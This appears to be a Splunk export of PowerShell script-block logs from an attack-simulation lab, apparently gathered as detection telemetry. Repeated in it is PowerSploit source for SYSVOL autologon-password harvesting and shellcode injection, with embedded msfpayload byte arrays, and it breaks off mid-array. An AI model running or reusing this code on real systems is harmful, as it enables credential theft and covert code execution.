(Get-Date) [String] $FileName = ""$($Time.Month)"" $FileName += '-' $FileName += ""$($Time.Day)"" $FileName += '-' $FileName += ""$($Time.Year)"" $FileName += '-' $FileName += ""$($Time.Hour)"" $FileName += '-' $FileName += ""$($Time.Minute)"" $FileName += '-' $FileName += ""$($Time.Second)"" $FileName += '.png' #use join-path to add path to filename [String] $FilePath = (Join-Path $Path $FileName) #run screenshot function Get-Screenshot Write-Verbose ""Saved screenshot to $FilePath. Sleeping for $Interval seconds"" Start-Sleep -Seconds $Interval } #note that this will run once regardless if the specified time as passed While ((Get-Date -Format HH:mm) -lt $EndTime) } Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage} } b62d31d1-ac0b-4fb0-b9ed-3d06bfd24355C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Get-TimedScreenshot.ps1","2022-05-02T18:24:33.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122210,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122210,win,118,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><><><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error track_event_signatures",,,"error track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows" "'{7B7F4240-5E23-0002-7053-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"11function Get-GPPAutologon { <# .SYNOPSIS Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences. PowerSploit Function: Get-GPPAutologon Author: Oddvar Moe (@oddvarmoe) Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work! License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password. .EXAMPLE PS C:\> Get-GPPAutolgon UserNames File Passwords --------- ---- --------- {administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3} {NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword} .EXAMPLE PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq password password12 password123 password1234 password1234$ read123 Recycling*3ftw! .LINK https://support.microsoft.com/nb-no/kb/324737 #> [CmdletBinding()] Param () #Some XML issues between versions Set-StrictMode -Version 2 #define helper function to parse fields from xml files function Get-GPPInnerFields { [CmdletBinding()] Param ( $File ) try { $Filename = Split-Path $File -Leaf [xml] $Xml = Get-Content ($File) #declare empty arrays $Password = @() $UserName = @() #check for password and username field if (($Xml.innerxml -like ""*DefaultPassword*"") -and ($Xml.innerxml -like ""*DefaultUserName*"")) { $props = $xml.GetElementsByTagName(""Properties"") foreach($prop in $props) { switch ($prop.name) { 'DefaultPassword' { $Password += , $prop | Select-Object -ExpandProperty Value } 'DefaultUsername' { $Username += , $prop | Select-Object -ExpandProperty Value } } Write-Verbose ""Potential password in $File"" } #put [BLANK] in variables if (!($Password)) { $Password = '[BLANK]' } if (!($UserName)) { $UserName = '[BLANK]' } #Create custom object to output results $ObjectProperties = @{'Passwords' = $Password; 'UserNames' = $UserName; 'File' = $File} $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties Write-Verbose ""The password is between {} and may be more than one value."" if ($ResultsObject) { Return $ResultsObject } } } catch {Write-Error $Error[0]} } try { #ensure that machine is domain joined and script is running as a domain account if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { throw 'Machine is not a domain member or User is not a member of the domain.' } #discover potential registry.xml containing autologon passwords Write-Verbose 'Searching the DC. This could take a while.' $XMlFiles = Get-ChildItem -Path ""\\$Env:USERDNSDOMAIN\SYSVOL"" -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml' if ( -not $XMlFiles ) {throw 'No preference files found.'} Write-Verbose ""Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."" foreach ($File in $XMLFiles) { $Result = (Get-GppInnerFields $File.Fullname) Write-Output $Result } } catch {Write-Error $Error[0]} }e4192fbb-52d1-44b1-9274-575de1852434C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Get-GPPAutologon.ps1",,4104,122190,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,1,1,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Get-GPPAutologon.ps1",,,"'5388'",,,,,,122190,,,,"e4192fbb-52d1-44b1-9274-575de1852434","function Get-GPPAutologon { <# .SYNOPSIS Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences. PowerSploit Function: Get-GPPAutologon Author: Oddvar Moe (@oddvarmoe) Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work! License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password. .EXAMPLE PS C:\> Get-GPPAutolgon UserNames File Passwords --------- ---- --------- {administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3} {NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword} .EXAMPLE PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq password password12 password123 password1234 password1234$ read123 Recycling*3ftw! .LINK https://support.microsoft.com/nb-no/kb/324737 #> [CmdletBinding()] Param () #Some XML issues between versions Set-StrictMode -Version 2 #define helper function to parse fields from xml files function Get-GPPInnerFields { [CmdletBinding()] Param ( $File ) try { $Filename = Split-Path $File -Leaf [xml] $Xml = Get-Content ($File) #declare empty arrays $Password = @() $UserName = @() #check for password and username field if (($Xml.innerxml -like ""*DefaultPassword*"") -and ($Xml.innerxml -like ""*DefaultUserName*"")) { $props = $xml.GetElementsByTagName(""Properties"") foreach($prop in $props) { switch ($prop.name) { 'DefaultPassword' { $Password += , $prop | Select-Object -ExpandProperty Value } 'DefaultUsername' { $Username += , $prop | Select-Object -ExpandProperty Value } } Write-Verbose ""Potential password in $File"" } #put [BLANK] in variables if (!($Password)) { $Password = '[BLANK]' } if (!($UserName)) { $UserName = '[BLANK]' } #Create custom object to output results $ObjectProperties = @{'Passwords' = $Password; 'UserNames' = $UserName; 'File' = $File} $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties Write-Verbose ""The password is between {} and may be more than one value."" if ($ResultsObject) { Return $ResultsObject } } } catch {Write-Error $Error[0]} } try { #ensure that machine is domain joined and script is running as a domain account if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { throw 'Machine is not a domain member or User is not a member of the domain.' } #discover potential registry.xml containing autologon passwords Write-Verbose 'Searching the DC. This could take a while.' $XMlFiles = Get-ChildItem -Path ""\\$Env:USERDNSDOMAIN\SYSVOL"" -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml' if ( -not $XMlFiles ) {throw 'No preference files found.'} Write-Verbose ""Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."" foreach ($File in $XMLFiles) { $Result = (Get-GppInnerFields $File.Fullname) Write-Output $Result } } catch {Write-Error $Error[0]} }",,,,,,,,,,,"'2022-05-02T18:24:31.024366500Z'","4104132150x0122190Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122190Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function Get-GPPAutologon { <# .SYNOPSIS Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences. PowerSploit Function: Get-GPPAutologon Author: Oddvar Moe (@oddvarmoe) Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work! License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password. .EXAMPLE PS C:\> Get-GPPAutolgon UserNames File Passwords --------- ---- --------- {administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3} {NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword} .EXAMPLE PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq password password12 password123 password1234 password1234$ read123 Recycling*3ftw! .LINK https://support.microsoft.com/nb-no/kb/324737 #> [CmdletBinding()] Param () #Some XML issues between versions Set-StrictMode -Version 2 #define helper function to parse fields from xml files function Get-GPPInnerFields { [CmdletBinding()] Param ( $File ) try { $Filename = Split-Path $File -Leaf [xml] $Xml = Get-Content ($File) #declare empty arrays $Password = @() $UserName = @() #check for password and username field if (($Xml.innerxml -like ""*DefaultPassword*"") -and ($Xml.innerxml -like ""*DefaultUserName*"")) { $props = $xml.GetElementsByTagName(""Properties"") foreach($prop in $props) { switch ($prop.name) { 'DefaultPassword' { $Password += , $prop | Select-Object -ExpandProperty Value } 'DefaultUsername' { $Username += , $prop | Select-Object -ExpandProperty Value } } Write-Verbose ""Potential password in $File"" } #put [BLANK] in variables if (!($Password)) { $Password = '[BLANK]' } if (!($UserName)) { $UserName = '[BLANK]' } #Create custom object to output results $ObjectProperties = @{'Passwords' = $Password; 'UserNames' = $UserName; 'File' = $File} $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties Write-Verbose ""The password is between {} and may be more than one value."" if ($ResultsObject) { Return $ResultsObject } } } catch {Write-Error $Error[0]} } try { #ensure that machine is domain joined and script is running as a domain account if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { throw 'Machine is not a domain member or User is not a member of the domain.' } #discover potential registry.xml containing autologon passwords Write-Verbose 'Searching the DC. This could take a while.' $XMlFiles = Get-ChildItem -Path ""\\$Env:USERDNSDOMAIN\SYSVOL"" -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml' if ( -not $XMlFiles ) {throw 'No preference files found.'} Write-Verbose ""Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."" foreach ($File in $XMLFiles) { $Result = (Get-GppInnerFields $File.Fullname) Write-Output $Result } } catch {Write-Error $Error[0]} }e4192fbb-52d1-44b1-9274-575de1852434C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Get-GPPAutologon.ps1","2022-05-02T18:24:31.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122190,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122190,win,139,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><><><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error track_event_signatures",,,"error track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows" "'{7B7F4240-5E23-0002-6F53-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"22 $Shellcode = $Shellcode64 Write-Verbose 'Using 64-bit shellcode.' } # Allocate RWX memory for the shellcode $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) if (!$BaseAddress) { Throw ""Unable to allocate shellcode memory in PID: $ProcessID"" } Write-Verbose ""Shellcode memory reserved at 0x$($BaseAddress.ToString(""X$([IntPtr]::Size*2)""))"" # Copy shellcode to RWX buffer [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) # Get address of ExitThread function $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread if ($PowerShell32bit) { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 Write-Verbose 'Emitting 32-bit assembly call stub.' } else { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 Write-Verbose 'Emitting 64-bit assembly call stub.' } # Allocate RWX memory for the thread call stub $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) if (!$CallStubAddress) { Throw ""Unable to allocate thread call stub."" } Write-Verbose ""Thread call stub memory reserved at 0x$($CallStubAddress.ToString(""X$([IntPtr]::Size*2)""))"" # Copy call stub to RWX buffer [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length) # Launch shellcode in it's own thread $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) if (!$ThreadHandle) { Throw ""Unable to launch thread."" } # Wait for shellcode thread to terminate $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) Write-Verbose 'Shellcode injection complete!' } # A valid pointer to IsWow64Process will be returned if CPU is 64-bit $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process $AddressWidth = $null try { $AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth } catch { throw 'Unable to determine OS processor address width.' } switch ($AddressWidth) { '32' { $64bitOS = $False } '64' { $64bitOS = $True $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) } default { throw 'Invalid OS address width detected.' } } if ([IntPtr]::Size -eq 4) { $PowerShell32bit = $true } else { $PowerShell32bit = $false } if ($PSBoundParameters['Shellcode']) { # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. [Byte[]] $Shellcode32 = $Shellcode [Byte[]] $Shellcode64 = $Shellcode32 } else { # Pop a calc... or whatever shellcode you decide to place in here # I sincerely hope you trust that this shellcode actually pops a calc... # Insert your shellcode here in the for 0xXX,0xXX,... # 32-bit payload # msfpayload windows/exec CMD=""cmd /k calc"" EXITFUNC=thread [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, 0x61,0x6c,0x63,0x00) # 64-bit payload # msfpayload windows/x64/exec CMD=""calc"" EXITFUNC=thread [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) } if ( $PSBoundParameters['ProcessID'] ) { # Inject shellcode into the specified process ID $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) Write-Verbose ""Injecting shellcode into PID: $ProcessId"" if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', ""Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!"" ) ) { Inject-RemoteShellcode $ProcessId } } else { # Inject shellcode into the currently running PowerShell process $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool]) $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) Write-Verbose ""Injecting shellcode into PowerShell"" if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', ""Injecting shellcode into the running PowerShell process!"" ) ) { Inject-LocalShellcode } } } 3930c537-c80a-4cc2-90ba-23b4d038b938C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\CodeExecution\Invoke-Shellcode.ps1",,4104,122167,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,2,2,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\CodeExecution\Invoke-Shellcode.ps1",,,"'5388'",,,,,,122167,,,,"3930c537-c80a-4cc2-90ba-23b4d038b938","$Shellcode = $Shellcode64 Write-Verbose 'Using 64-bit shellcode.' } # Allocate RWX memory for the shellcode $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) if (!$BaseAddress) { Throw ""Unable to allocate shellcode memory in PID: $ProcessID"" } Write-Verbose ""Shellcode memory reserved at 0x$($BaseAddress.ToString(""X$([IntPtr]::Size*2)""))"" # Copy shellcode to RWX buffer [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) # Get address of ExitThread function $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread if ($PowerShell32bit) { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 Write-Verbose 'Emitting 32-bit assembly call stub.' } else { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 Write-Verbose 'Emitting 64-bit assembly call stub.' } # Allocate RWX memory for the thread call stub $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) if (!$CallStubAddress) { Throw ""Unable to allocate thread call stub."" } Write-Verbose ""Thread call stub memory reserved at 0x$($CallStubAddress.ToString(""X$([IntPtr]::Size*2)""))"" # Copy call stub to RWX buffer [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length) # Launch shellcode in it's own thread $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) if (!$ThreadHandle) { Throw ""Unable to launch thread."" } # Wait for shellcode thread to terminate $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) Write-Verbose 'Shellcode injection complete!' } # A valid pointer to IsWow64Process will be returned if CPU is 64-bit $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process $AddressWidth = $null try { $AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth } catch { throw 'Unable to determine OS processor address width.' } switch ($AddressWidth) { '32' { $64bitOS = $False } '64' { $64bitOS = $True $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) } default { throw 'Invalid OS address width detected.' } } if ([IntPtr]::Size -eq 4) { $PowerShell32bit = $true } else { $PowerShell32bit = $false } if ($PSBoundParameters['Shellcode']) { # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. [Byte[]] $Shellcode32 = $Shellcode [Byte[]] $Shellcode64 = $Shellcode32 } else { # Pop a calc... or whatever shellcode you decide to place in here # I sincerely hope you trust that this shellcode actually pops a calc... # Insert your shellcode here in the for 0xXX,0xXX,... # 32-bit payload # msfpayload windows/exec CMD=""cmd /k calc"" EXITFUNC=thread [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, 0x61,0x6c,0x63,0x00) # 64-bit payload # msfpayload windows/x64/exec CMD=""calc"" EXITFUNC=thread [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, 